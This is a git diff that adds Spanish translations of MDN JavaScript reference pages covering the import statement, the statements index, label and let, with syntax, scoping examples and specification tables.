+<pre class="syntaxbox">import <em>defaultExport</em> from "<em>module-name</em>";
+import * as <em>name</em> from "<em>module-name</em>";
+import { <em>export </em>} from "<em>module-name</em>";
+import { <em>export</em> as <em>alias </em>} from "<em>module-name</em>";
+import { <em>export1 , export2</em> } from "<em>module-name</em>";
+import { <em>export1 , export2</em> as <em>alias2</em> , <em>[...]</em> } from "<em>module-name</em>";
+import <em>defaultExport</em>, { <em>export</em> [ , <em>[...]</em> ] } from "<em>module-name</em>";
+import <em>defaultExport</em>, * as <em>name</em> from "<em>module-name</em>";
+import "<em>module-name</em>";</pre>
+
+<dl>
+ <dt><code>defaultExport</code></dt>
+ <dd>Nombre que se referirá al export por defecto del módulo.</dd>
+ <dt><code>module-name</code></dt>
+ <dd>El módulo desde el que importar. Normalmente es una ruta relativa o absoluta al archivo <code><strong>.js</strong></code> que contiene el módulo, excluyendo la extensión <code><strong>.js</strong></code>. Algunos empaquetadores pueden permitir o requerir el uso de la extensión; comprueba tu entorno. Sólo se permiten Strings con comillas simples o dobles.</dd>
+ <dt><code>name</code></dt>
+ <dd>Nombre del objeto del módulo que se utilizará como nombre de dominio al hacer referencia a los imports.</dd>
+ <dt><span style='background-color: rgba(220, 220, 220, 0.5); font-family: consolas,"Liberation Mono",courier,monospace; font-style: inherit; font-weight: inherit;'>export, exportN</span></dt>
+</dl>
+
+<dl>
+ <dd>Nombre de los exports a ser importados.</dd>
+ <dt><code>alias, aliasN</code></dt>
+ <dd>Nombre del objeto que recibirá la propiedad importada.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El parámetro <code>name</code> es el nombre del objeto que recibirá los miembros exportados. El parámetro <code>member</code> especifica miembros individuales, mientras el parámetro <code>name</code> importa todos ellos. <font face="Courier New, Andale Mono, monospace">name</font> puede también ser una función si el módulo exporta un sólo parámetro por defecto en lugar de una serie de miembros. Abajo hay ejemplos que explican la sintaxis.</p>
+
+<h3 id="Importa_el_contenido_de_todo_un_módulo.">Importa el contenido de todo un módulo.</h3>
+
+<p>Esto inserta <code>myModule</code> en el ámbito actual, que contiene todos los elementos exportados en el archivo ubicado en  <code>/modules/my-module.js</code>.</p>
+
+<pre class="brush: js">import * as myModule from '/modules/my-module.js';</pre>
+
+<p>Aquí, para acceder a los miembros exportados habrá que usar el alias del módulo ("myModule" en este caso) como namespace. Por ejemplo, si el módulo importado arriba incluye un miembre exportado llamado <code>doAllTheAmazingThings()</code>, habría que invocarlo de la siguiente manera:</p>
+
+<pre class="brush: js">myModule.doAllTheAmazingThings();</pre>
+
+<h3 id="Importa_un_solo_miembro_de_un_módulo.">Importa un solo miembro de un módulo.</h3>
+
+<p>Dado un objeto o valor llamado <code>myExport</code> que ha sido exportado del módulo <code>my-module</code> ya sea implícitamente (porque todo el módulo ha sido exportado) o explícitamente (usando la sentencia {{jsxref("Sentencias/export", "export")}} ), esto inserta <code>myExport</code> en el ámbito actual.</p>
+
+<pre class="brush: js">import {myExport} from '/modules/my-module.js';</pre>
+
+<h3 id="Importa_multiples_miembros_de_un_módulo.">Importa multiples miembros de un módulo.</h3>
+
+<p>Esto inserta <code>foo</code> y <code>bar</code> en el ámbito actual.</p>
+
+<pre class="brush: js">import {foo, bar} from "my-module.js";</pre>
+
+<h3 id="Importa_un_miembre_con_un_alias_mas_conveniente">Importa un miembre con un alias mas conveniente</h3>
+
+<p>Se puede renombrar un miembro exportado cuando se importa. Por ejemplo, esto inserta <code>shortName</code> en el ámbito actual.</p>
+
+<pre class="brush: js">import {reallyReallyLongModuleExportName as shortName}
+  from '/modules/my-module.js';</pre>
+
+<h3 id="Renombra_multiples_miembros_durante_la_importación">Renombra multiples miembros durante la importación</h3>
+
+<p>Importa múltiples miembros exportados de un módulo con un alias conveniente.</p>
+
+<pre class="brush: js">import {
+  reallyReallyLongModuleExportName as shortName,
+  anotherLongModuleName as short
+} from '/modules/my-module.js';</pre>
+
+<h3 id="Importa_un_módulo_entero_para_efectos_secundarios_sólamente">Importa un módulo entero para efectos secundarios sólamente</h3>
+
+<p>Importa un módulo entero para efectos secundarios sólamente, sin importar ningun elemento. Esto ejecuta el código global del módulo, pero no importa ningún valor.</p>
+
+<pre class="brush: js">import '/modules/my-module.js';</pre>
+
+<h3 id="Importación_de_elementos_por_defecto">Importación de elementos por defecto</h3>
+
+<p>Es posible tener una exportación por defecto (tanto si se trata de un objeto, función, clase, etc.). Recíprocamente, es posible usa la instrucción <code>import</code> para importar esos elementos establecidos como por defecto.</p>
+
+<p>La versión más sencilla de importar un elemento por defecto es:</p>
+
+<pre class="brush: js">import myDefault from '/modules/my-module.js';</pre>
+
+<p>También es posible usar la sintaxis por defecto con lo que hemos visto anteriormente (importación de espacios de nombres o importaciones con nombre. En esos casos, la importación por defecto se deberá realizar en primer lugar. Por ejemplo:</p>
+
+<pre class="brush: js">import myDefault, * as myModule from '/modules/my-module.js';
+// myModule used as a namespace</pre>
+
+<p>o</p>
+
+<pre class="brush: js">import myDefault, {foo, bar} from '/modules/my-module.js';
+// specific, named imports</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Importar un archivo secundario para asistir en un procesamiento de una petición JSON AJAX.</p>
+
+<h3 id="El_módulo_file.js">El módulo: file.js</h3>
+
+<pre class="brush: js">function getJSON(url, callback) {
+  let xhr = new XMLHttpRequest();
+  xhr.onload = function () {
+    callback(this.responseText)
+  };
+  xhr.open('GET', url, true);
+  xhr.send();
+}
+
+export function getUsefulContents(url, callback) {
+  getJSON(url, data =&gt; callback(JSON.parse(data)));
+}</pre>
+
+<h3 id="El_programa_principal_main.js">El programa principal: main.js</h3>
+
+<pre class="brush: js">import { getUsefulContents } from '/modules/file.js';
+
+getUsefulContents('http://www.example.com',
+    data =&gt; { doSomethingUseful(data); });</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-imports', 'Imports')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inical</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-imports', 'Imports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/export", "export")}}</li>
+ <li><a href="https://blogs.windows.com/msedgedev/2016/05/17/es6-modules-and-beyond/">Previewing ES6 Modules and more from ES2015, ES2016 and beyond</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li><a href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/index.html b/files/es/web/javascript/referencia/sentencias/index.html
new file mode 100644
index 0000000000..bbf0ce42e8
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/index.html
@@ -0,0 +1,141 @@
+---
+title: Sentencias
+slug: Web/JavaScript/Referencia/Sentencias
+tags:
+  - JavaScript
+  - Referencia
+  - sentencias
+translation_of: Web/JavaScript/Reference/Statements
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Las aplicaciones JavaScript se componen de sentencias con una sintaxis propia. Una sentencia puede estar formada por múltiples líneas. Puede haber varias sentencias en una sola línea si separamos cada una de las sentencias por un punto y coma. No es una palabra clave, sino un grupo de palabras clave.</p>
+
+<h2 id="Sentencias_y_declaraciones_por_categoría">Sentencias y declaraciones por categoría</h2>
+
+<p>Puedes encontrarlas por orden alfabético en la columna de la izquierda .</p>
+
+<h3 id="Control_de_flujo">Control de flujo</h3>
+
+<dl>
+ <dt>{{jsxref("Sentencias/block", "Block")}}</dt>
+ <dd>Un bloque de sentencias se utiliza para agrupar cero o mas sentencias. El bloque se delimita por un par de llaves.</dd>
+ <dt>{{jsxref("Sentencias/break", "break")}}</dt>
+ <dd>Finaliza la sentencia actual loop, switch, o label y transfiere el control del programa a la siguiente sentencia de la sentencia finalizada.</dd>
+ <dt>{{jsxref("Sentencias/continue", "continue")}}</dt>
+ <dd>Finaliza la ejecucion de las sentencias dentro de la iteracion actual del actual bucle,  y continua la ejecucion del bucle con la siguiente iteracion.</dd>
+ <dt>{{jsxref("Sentencias/Empty", "Empty")}}</dt>
+ <dd>Una sentencia vacía se utiliza para proveer una "no sentencia", aunque la sintaxis de JavaScript esperaba una.</dd>
+ <dt>{{jsxref("Sentencias/if...else", "if...else")}}</dt>
+ <dd>Ejecuta una sentencia si una condición especificada es true. Si la condición es false, otra sentencia puede ser ejecutada.</dd>
+ <dt>{{jsxref("Sentencias/switch", "switch")}}</dt>
+ <dd>Evalua una expresión, igualando el valor de la expresión a una clausula case y ejecuta las sentencias asociadas con dicho case.</dd>
+ <dt>{{jsxref("Sentencias/throw", "throw")}}</dt>
+ <dd>Lanza una excepción definida por el usuario.</dd>
+ <dt>{{jsxref("Sentencias/try...catch", "try...catch")}}</dt>
+ <dd>Marca un bloque de sentencias para ser probadas (try) y especifica una respuesta, en caso de que se lance una excepción.</dd>
+</dl>
+
+<h3 id="Declaraciones">Declaraciones</h3>
+
+<dl>
+ <dt>{{jsxref("Sentencias/var", "var")}}</dt>
+ <dd>Declara una variable, opcionalmente inicializándola a un valor.</dd>
+ <dt>{{jsxref("Sentencias/let", "let")}}</dt>
+ <dd>Declara una variable local de ambito de bloque, opcionalmente inicializándola a un valor.</dd>
+ <dt>{{jsxref("Sentencias/const", "const")}}</dt>
+ <dd>Declara una constante de solo lectura.</dd>
+</dl>
+
+<h3 id="Funciones">Funciones</h3>
+
+<dl>
+ <dt>{{jsxref("Sentencias/function", "function")}}</dt>
+ <dd>Declara una función con los parámetros especificados.</dd>
+ <dt>{{jsxref("Sentencias/function*", "function*")}}</dt>
+ <dd>Los generadores de funciones permiten escribir {{jsxref("Iteration_protocols", "iteradores")}} con mas facilidad.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/async_function", "async function")}}</dt>
+ <dd>Declara una función asíncrona con los parámetros especificados.</dd>
+ <dt>{{jsxref("Statements/return", "return")}}</dt>
+ <dd>Especifica el valor a ser retornado por una función.</dd>
+ <dt>{{jsxref("Statements/class", "class")}}</dt>
+ <dd>Declara una clase.</dd>
+</dl>
+
+<h3 id="Iteraciones">Iteraciones</h3>
+
+<dl>
+ <dt>{{jsxref("Sentencias/do...while", "do...while")}}</dt>
+ <dd>Crea un bucle que ejecuta una instrucción especificada hasta que la condición de prueba se evalúa como falsa. La condición se evalúa después de ejecutar la instrucción, lo que da como resultado que la instrucción especificada se ejecute al menos una vez.</dd>
+ <dt>{{jsxref("Sentencias/for", "for")}}</dt>
+ <dd>Creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement executed in the loop.</dd>
+ <dt>{{deprecated_inline()}} {{non-standard_inline()}}{{jsxref("Sentencias/for_each...in", "for each...in")}}</dt>
+ <dd>Itera una variable especificada sobre todos los valores de las propiedades del objeto. Para cada propiedad distinta, se ejecuta una instrucción especificada.</dd>
+ <dt>{{jsxref("Sentencias/for...in", "for...in")}}</dt>
+ <dd>Itera sobre las propiedades enumerables de un objeto, en orden albitrario. Para cada propiedad distinta, las instrucciones pueden ser ejecutadas.</dd>
+ <dt>{{jsxref("Sentencias/for...of", "for...of")}}</dt>
+ <dd>Iterates over iterable objects (including {{jsxref("Array", "array")}}, array-like objects, <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Iterators_and_Generators" title="Iterators and generators">iterators and generators</a>), invoking a custom iteration hook with statements to be executed for the value of each distinct property.</dd>
+ <dt>{{jsxref("Sentencias/while", "while")}}</dt>
+ <dd>Crea un bucle que ejecuta la instrucción especificada siempre que la condición de prueba se evalúe como verdadera. La condición se evalúa antes de ejecutar la instrucción.</dd>
+</dl>
+
+<h3 id="Otros">Otros</h3>
+
+<dl>
+ <dt>{{jsxref("Sentencias/debugger", "debugger")}}</dt>
+ <dd>Invoca cualquier funcionalidad de depuración disponible. Si no hay funcionalidad de depuración disponible, esta isntrucción no tiene efecto.</dd>
+ <dt>{{jsxref("Sentencias/export", "export")}}</dt>
+ <dd>Usada para permitir a un script firmada proveer propiedades, funciones y objetos a otros scripts firmada o sin firmar. Esta antigua funcionalidad de Netscape ha sido removida y será redefinida por los modulos de ECMAScript 6</dd>
+ <dt>{{jsxref("Sentencias/import", "import")}}</dt>
+ <dd>Usada para permitir a un escript importar propiedades, funciones y objetos desde otro script firmado que ha exportado su información. Esta antigua funcionalidad de Netscape ha sido removida y será redefinida por los modulos de ECMAScript 6.</dd>
+ <dt>{{jsxref("Sentencias/label", "label")}}</dt>
+ <dd>Provee una instrucción con un identificador que puedes referir usando una instrucción <code>break</code> o <code>continue</code> .</dd>
+</dl>
+
+<dl>
+ <dt>{{deprecated_inline()}} {{jsxref("Sentencias/with", "with")}}</dt>
+ <dd>Extiende la cadena de alcance para una instrucción.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Nuevo: function*, let, for...of, yield, class</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vea_También">Vea También</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Operadores">Operadores</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/label/index.html b/files/es/web/javascript/referencia/sentencias/label/index.html
new file mode 100644
index 0000000000..03f3108e0e
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/label/index.html
@@ -0,0 +1,35 @@
+---
+title: label
+slug: Web/JavaScript/Referencia/Sentencias/label
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/label
+---
+<div>
+ {{jsSidebar("Statements")}}</div>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Proporciona una sentencia con un identificador al que se puede referir al usar las sentencias {{jsxref("Sentencias/break", "break")}} o {{jsxref("Sentencias/continue", "continue")}}.</p>
+<p>Por ejemplo, puede usar una etiqueta para identificar un bucle, y entonces usar las sentencias <code>break</code> o <code>continue</code> para indicar si un programa debería interrumpir el bucle o continuar su ejecución.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="eval"><i>etiqueta</i> :<i>sentencia</i>
+</pre>
+<dl>
+ <dt>
+  <code>etiqueta</code></dt>
+ <dd>
+  Cualquier identificador JavaScript que no sea una palabra reservada.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>sentencia</code></dt>
+ <dd>
+  Sentencias. <code>break</code> puede ser usado con cualquier sentencia etiquetada, y <code>continue</code> puede usarse con bucles etiquetados de sentencias.</dd>
+</dl>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<p>Para un ejemplo de una sentencia label usando <code>break</code>, vea <code>break</code>. Para un ejemplo de una sentencia label usando <code>continue</code>, vea <code>continue</code>.</p>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li>{{jsxref("Sentencias/break", "break")}}</li>
+ <li>{{jsxref("Sentencias/continue", "continue")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/let/index.html b/files/es/web/javascript/referencia/sentencias/let/index.html
new file mode 100644
index 0000000000..8c450b37d4
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/let/index.html
@@ -0,0 +1,393 @@
+---
+title: let
+slug: Web/JavaScript/Referencia/Sentencias/let
+tags:
+  - Característica del lenguaje
+  - Declaración de variable
+  - ECMAScript 2015
+  - JavaScript
+  - Variables
+  - let
+  - sentencias
+translation_of: Web/JavaScript/Reference/Statements/let
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La instrucción <strong><code>let</code></strong> declara una variable de alcance local con ámbito de bloque<font><font>(</font></font><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias/block">block </a>scope<font><font>)</font></font>, la cual, opcionalmente, puede ser inicializada con algún valor.</p>
+
+<div class="warning">
+<p class="p1">La palabra reservada <strong><code><span class="s1">let </span></code></strong>en Mozilla Firefox 44 y anteriores, está solo disponible para bloques de código en HTML que esten envueltos en una etiqueta <code><span class="s1">&lt;script type="application/javascript;version=1.7"&gt;</span></code> (o de una version mayor). Las etiquetas <a href="https://developer.mozilla.org/en-US/docs/XUL">XUL</a> tienen acceso a esas características sin necesidad de dicho bloque.  Es necesario tomar en cuenta que esta es una característica <s>no estándar</s> <u>que ya se ha hecho actualmente estándar</u>, <s>esto</s> <u>pero</u> puede crear conflictos con otros navegadores<u>, ya que fue una característica no estándar.</u></p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">let var1 [= valor1] [, var2 [= valor2]] [, ..., varN [= valorN]];</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>var1</code>, <code>var2</code>, …, <code>varN</code></dt>
+ <dd>Los nombres de la variable o las variables a declarar. Cada una de ellas debe ser un identificador legal de JavaScript</dd>
+ <dt><code>value1</code>, <code>value2</code>, …, <code>valueN</code></dt>
+ <dd>Por cada una de las variables declaradas puedes, opcionalmente, especificar su valor inicial como una expresión legal JavaScript.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><strong><code>let</code> </strong>te permite declarar variables limitando su alcance (<em>scope</em>) al bloque, declaración, o expresión donde se está usando.a diferencia de la palabra clave <code>var</code> la cual define una variable global o local en una función sin importar el ámbito del bloque. La otra diferencia entre <code>var</code> y <code>let</code> <span class="VIiyi" lang="es"><span class="ChMk0b JLqJ4b"><span>es que este último se inicializa a un valor sólo cuando un analizador lo evalúa (ver abajo).</span></span></span></p>
+
+<p>Al igual que <code>const</code>, <code>let </code>no crea propiedades del objeto se declara globalmente (en el alcance más alto).</p>
+
+<h3 id="Alcance_scope_a_nivel_de_bloque_con_let">Alcance (<em>scope</em>) a nivel de bloque con <code>let</code></h3>
+
+<p>Usar la palabra reservada <code>let</code> para definir variables dentro de un bloque.</p>
+
+<pre class="brush:js notranslate">if (x &gt; y) {
+  let gamma = 12.7 + y;
+  i = gamma * x;
+}
+</pre>
+
+<p>Es posible usar definiciones <code>let</code> para asociar código en extensiones con un pseudo-espacio-de-nombre (pseudo-namespace). (Ver <a href="/en-US/docs/Security_best_practices_in_extensions" title="en-US/docs/Security_best_practices_in_extensions">Mejores prácticas de seguridad en extensiones</a>.)</p>
+
+<pre class="brush:js notranslate">let Cc = Components.classes, Ci = Components.interfaces;
+</pre>
+
+<p><code>let</code> puede ser útil para escribir código más limpio cuando usamos funciones internas.</p>
+
+<pre class="brush:js notranslate">var list = document.getElementById("list");
+
+for (var i = 1; i &lt;= 5; i++) {
+  var item = document.createElement("LI");
+  item.appendChild(document.createTextNode("Item " + i));
+
+  let j = i;
+  item.onclick = function (ev) {
+    console.log("Item " + j + " is clicked.");
+  };
+  list.appendChild(item);
+}
+</pre>
+
+<p>El ejemplo anterior trabaja como se espera porque las cinco instancias de la función (anónima) interna hacen referencia a cinco diferentes instancias de la variable <code>j</code>. Nótese que esto no funcionaría como se espera si reemplazamos <code>let</code> con <code>var</code> o si removemos la variable <code>j</code> y simplemente usamos la variable <code>i</code> dentro de la función interna.</p>
+
+<h4 id="Reglas_de_alcance">Reglas de alcance</h4>
+
+<p>Variables declaradas por <code>let</code> tienen por alcance el bloque en el que se han definido, así mismo, como en cualquier bloque interno. De esta manera, <code>let</code> trabaja muy parecido a <code>var</code>. La más notable diferencia es que el alcance de una variable <code>var</code> es la función contenedora:</p>
+
+<pre class="brush:js notranslate">function varTest() {
+  var x = 31;
+  if (true) {
+    var x = 71;  // ¡misma variable!
+    console.log(x);  // 71
+  }
+  console.log(x);  // 71
+}
+
+function letTest() {
+  let x = 31;
+  if (true) {
+    let x = 71;  // variable diferente
+    console.log(x);  // 71
+  }
+  console.log(x);  // 31
+}
+// llamamos a las funciones
+varTest();
+letTest();
+</pre>
+
+<p>En el nivel superior de un programa y funciones, <code>let</code> , a diferencia de <code>var</code>, <strong>no crea</strong> una propiedad en el objeto global, por ejemplo:</p>
+
+<pre class="brush:js notranslate">var x = 'global';
+let y = 'global';
+console.log(this.x); // "global"
+console.log(this.y); // undefined
+</pre>
+
+<p>La salida de este código desplegaría "global" una vez.</p>
+
+<h3 id="Zona_muerta_temporal_y_errores_con_let">Zona muerta temporal y errores con <code>let<a id="muerta" name="muerta"></a></code></h3>
+
+<p>La <strong>redeclaración</strong> de la misma variable bajo un mismo <font><font><a href="https://www.ecma-international.org/ecma-262/6.0/#sec-lexical-environments">ámbito léxico</a> </font></font>terminaría en un error de tipo <code><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/SyntaxError" title="SyntaxError">SyntaxError</a></code>. Esto también es <strong>extensible</strong> si usamos <code>var</code> dentro del <font><font>ámbito léxico</font></font>. Esto nos salvaguarda de redeclarar una variable accidentalmente y que no era posible  solo con <code>var.</code></p>
+
+<pre class="brush: js notranslate">if (x) {
+  let foo;
+  let foo; // Terminamos con un SyntaxError.
+}
+if (x) {
+  let foo;
+  var foo; // Terminamos con un SyntaxError.
+}
+</pre>
+
+<p>En ECMAScript 2015, <code>let</code> <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias/var#Description">no eleva</a> la variable a la parte superior del bloque. Si se hace una referencia a la variable declarada con <code>let</code> (<code>let foo</code>) antes de su declaración, terminaríamos con un error de tipo <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError" title="TypeError">ReferenceError</a> </code>(al contrario de la variable declarada con <code>var</code>, que tendrá el valor <code>undefined</code>), esto porque la variables vive en una "zona muerta temporal" desde el inicio del bloque hasta que la declaración ha sido procesada.</p>
+
+<pre class="notranslate"><code>function do_something() {
+  console.log(bar); // undefined
+  console.log(foo); // ReferenceError: foo </code>no está definido<code>
+  var bar = 1;
+  let foo = 2;
+}</code></pre>
+
+<p>Es posible encontrar errores en bloques de control <a href="/en-US/docs/JavaScript/Reference/Statements/switch" title="switch"><code>switch</code></a> debido a que solamente existe un block subyacente.</p>
+
+<pre class="brush: js notranslate">switch (x) {
+  case 0:
+    let foo;
+    break;
+
+  case 1:
+    let foo; // Terminamos con un error de tipo SyntaxError.
+             // esto debido a la redeclaracion
+    break;
+}</pre>
+
+<h3 id="Otro_ejemplo_de_zona_muerta_temporal_combinada_con_ámbito_léxico"><font><font>Otro ejemplo de zona muerta temporal combinada con <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-lexical-environments">ámbito léxico</a></font></font></h3>
+
+<p>Debido al alcance léxico, el identificador <code>num</code> dentro de la expresión (<code>num + 55</code>) se evalúa como <code>num</code> del bloque <code>if</code>, y no como la variable <code>num</code> con el valor 33 que esta por encima</p>
+
+<p>En esa misma línea, el <code>num </code>del bloque <code>if</code> ya se ha creado en el ámbito léxico, pero aún no ha alcanzado (y <strong>terminado</strong>) su inicialización (que es parte de la propia declaración): todavía está en la zona muerta temporal.</p>
+
+<pre class="notranslate"><code>function prueba(){
+   var num = 33;
+   if (true) {
+      let num = (num + 55);</code>//ReferenceError: no se puede acceder a la declaración léxica `num'antes de la inicialización <code>
+   }
+}
+prueba();</code>
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="let_vs_var"><code>let</code> vs <code>var</code></h3>
+
+<p>Cuando usamos <code>let</code> dentro de un bloque, podemos limitar el alcance de la variable a dicho bloque. Notemos la diferencia con <code>var</code>, cuyo alcance reside dentro de la función donde ha sido declarada la variable.</p>
+
+<pre class="brush: js notranslate">var a = 5;
+var b = 10;
+
+if (a === 5) {
+  let a = 4; // El alcance es dentro del bloque if
+  var b = 1; // El alcance es global
+
+  console.log(a);  // 4
+  console.log(b);  // 1
+}
+
+console.log(a); // 5
+console.log(b); // 1</pre>
+
+<h3 id="let_en_bucles"><code>let</code> en bucles</h3>
+
+<p>Es posible usar la palabra reservada <code>let</code> para enlazar variables con alcance local dentro del alcance de un bucle en lugar de usar una variable global (definida usando <code>var</code>) para dicho propósito.</p>
+
+<pre class="brush: js notranslate">for (let i = 0; i&lt;10; i++) {
+  console.log(i); // 0, 1, 2, 3, 4 ... 9
+}
+
+console.log(i); // ReferenceError: i is not defined
+</pre>
+
+<h2 id="Extensiones_let_no-estandar">Extensiones <code>let</code> no-estandar</h2>
+
+<h3 id="Bloques_let">Bloques<code> let</code></h3>
+
+<div class="warning">
+<p>La <strong>sintaxis del bloque y expresion</strong> <code>let</code> es no-estandar y sera deshechado en un futuro. ¡No deben ser usados! ver <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1023609" rel="noopener" title="FIXED: Remove SpiderMonkey support for let expressions">error 1023609</a> y <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1167029" rel="noopener" title="FIXED: Remove SpiderMonkey support for let blocks">error 1167029</a> para mas detalles.</p>
+</div>
+
+<p>Un <strong>bloque <code>let</code></strong> provee una manera de asociar valores con variables dentro del alcance de un bloque sin afectar el valor de variables con nombre similar fuera del bloque.</p>
+
+<h4 id="Sintaxis_2">Sintaxis</h4>
+
+<pre class="syntaxbox notranslate">let (var1 [= value1] [, var2 [= value2]] [, ..., varN [= valueN]]) {declaración};</pre>
+
+<h4 id="Descripción_2">Descripción</h4>
+
+<p>El bloque <code>let</code> provee alcance local para las variables. Funciona enlazando cero o más variables en el alcance léxico de un solo bloque de código; de otra manera, es exactamente lo mismo que una declaración de bloque. Hay que notar particularmente que el alcance de una variable declarada dentro de un bloque <code>let</code> usando var es equivalente a declarar esa variable fuera del bloque <code>let</code>; dicha variable aún tiene alcance dentro de la función. Al usar la sintaxis de bloque <code>let</code>, los paréntesis siguientes a <code>let</code> son requeridos. Una falla al incluir dichos paréntesis resultará en un error de sintaxis.</p>
+
+<h4 id="Ejemplo">Ejemplo</h4>
+
+<pre class="brush:js notranslate">var x = 5;
+var y = 0;
+
+let (x = x+10, y = 12) {
+  console.log(x+y); // 27
+}
+
+console.log(x + y); // 5
+</pre>
+
+<p>Las reglas para el bloque de código son las mismas que para cualquier otro bloque de código en JavaScript. Es posible tener sus propias variables locales usando declaraciones <code>let</code> en dicho bloque.</p>
+
+<h4 id="Reglas_de_alcance_2">Reglas de alcance</h4>
+
+<p>El alcance de las variables definidas usando <code>let</code> es el mismo bloque <code>let</code>, así como cualquier bloque interno contenido dentro de el bloque, a menos que esos bloques internos definan variables con el mismo nombre.</p>
+
+<h3 id="expresiones_let">expresiones <code>let</code></h3>
+
+<div class="warning">
+<p><code>Soporte de <strong>expresiones</strong> let</code> ha sido removido en Gecko 41 ({{bug(1023609)}}).</p>
+</div>
+
+<p>Una <strong>expresion <code>let</code></strong> permite establecer variables con alcance dentro de una expresión.</p>
+
+<h4 id="Sintaxis_3">Sintaxis</h4>
+
+<pre class="syntaxbox notranslate">let (var1 [= value1] [, var2 [= value2]] [, ..., varN [= valueN]]) expression;</pre>
+
+<h4 id="Ejemplo_2">Ejemplo</h4>
+
+<p>Podemos usar <code>let</code> para establecer variables que tienen como alcance solo una expresión:</p>
+
+<pre class="brush: js notranslate">var a = 5;
+let(a = 6) console.log(a); // 6
+console.log(a); // 5</pre>
+
+<h4 id="Reglas_de_alcance_3">Reglas de alcance</h4>
+
+<p>Dada la expresión <code>let</code> siguiente:</p>
+
+<pre class="eval notranslate">let (<var>decls</var>) <var>expr</var>
+</pre>
+
+<p>Existe un bloque implícito creado alrededor de expr.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición initial. No especifica expresiones ni declaraciones let.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
